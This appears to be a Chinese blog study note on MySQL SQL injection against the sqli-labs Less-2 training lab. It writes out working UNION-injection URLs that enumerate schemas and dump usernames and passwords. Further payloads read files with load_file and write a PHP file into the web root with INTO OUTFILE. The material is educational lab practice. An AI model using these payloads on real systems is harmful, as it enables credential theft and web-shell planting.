小迪渗透测试学习笔记(十三)WEB漏洞-SQL注入之MYSQL注入

MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell操作。其中也会遇到很多阻碍,相关防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需要了解其中的手法和原理,这样才是一个合格的安全工作者。

在这里插入图片描述

information_schema

在MySQL中,可以把 information_schema
看作一个信息数据库,其中存储关于MySQL服务器所维护的所有其他数据库的信息。如:数据库名,数据库的表,表的数据类型、访问权限以及有那些列等。其中有数个只读表,它们实际上是视图,而不是基本表,因此无法看到与之相关的任何文件。

SCHEMATA表: 提供了当前mysql实例中所有数据库的信息。参考 show databases

TABLES表: 数据库中的表的信息(包括视图)。详细描述了某个表的信息,参考 show tables from schemaname

COLUMNS表: 表中的列信息。详细描述了某张表的所有列以及每个列的信息。参考show columns from schemaname.tablename

SQL注入中使用information_schema 的流程一般是:

  1. 找出本数据库的名字;
  2. 已知数据库的名字通过information_schema查该数据库里存在哪些表;
  3. 通过该表查找需要的信息。

案例

sqlilabs第2关

获取数据库信息

  1. 获取所有数据库名
http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata

在这里插入图片描述

  1. 获取本数据库名
http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,database()

在这里插入图片描述
3. 获取本数据库下所有表名

http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27

在这里插入图片描述
4. 获取users中所有列名

http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27

在这里插入图片描述
5. 获取users表所有信息

http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users

在这里插入图片描述
6. 获取其他数据库的信息,在第一步中看到存在一个bbs数据库,尝试获取其中信息。(这里要注意本数据库用户权限,只能高权限查看低权限)
在这里插入图片描述
7. 获取bbs的所有表

http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27bbs%27

在这里插入图片描述
8. 获取pu_users表所有列名

http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27bbs%27%20and%20table_name=%27pu_users%27

在这里插入图片描述
9. 获取bbs的pu_users的所有信息

http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,group_concat(user),group_concat(password)%20from%20bbs.pu_users 

在这里插入图片描述

文件读取

  1. 查看是否有写入权限
show global variables like '%secure_file_priv%';

在这里插入图片描述
NULL: 不允许导入或导出
/tmp: 只允许在 /tmp 目录导入导出
空: 不限制目录

  1. 新建一个aaa.txt文件,尝试读取aaa.txt文件内容

mysql终端测试:

select load_file('C:/xry/tools/phpstudy/PHPTutorial/WWW/sqlilabs/Less-2/aaa.txt');

在这里插入图片描述

网站测试:

http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,load_file(%27C:/xry/tools/phpstudy/PHPTutorial/WWW/sqlilabs/Less-2/aaa.txt%27)

在这里插入图片描述
读取成功。

文件写入

  1. 在数据库终端,将 <?php phpinfo() ?> 写入aaa.php,并尝试读取。
select '<?php phpinfo() ?>' into outfile 'C:/xry/tools/phpstudy/PHPTutorial/WWW/sqlilabs/Less-2/aaa.php';

select load_file('C:/xry/tools/phpstudy/PHPTutorial/WWW/sqlilabs/Less-2/aaa.php');

在这里插入图片描述

  1. 网站测试,先将上面创建的文件删除,重新尝试写入
http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,%27%3C?php%20phpinfo()%20?%3E%27%20into%20outfile%20%27C:/xry/tools/phpstudy/PHPTutorial/WWW/sqlilabs/Less-2/aaa.php%27;%20--+

在这里插入图片描述
读取:

http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,load_file(%27C:/xry/tools/phpstudy/PHPTutorial/WWW/sqlilabs/Less-2/aaa.php%27)

在这里插入图片描述

magic_quotes_gpc(魔术引号开关)

在magic_quotes_gpc = On的情况下,如果输入的数据有单引号(’)、双引号(")、反斜线(\)与 NULL(NULL字符)等字符都会被加上反斜线,作用和 addslashes() 的作用是相同的。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值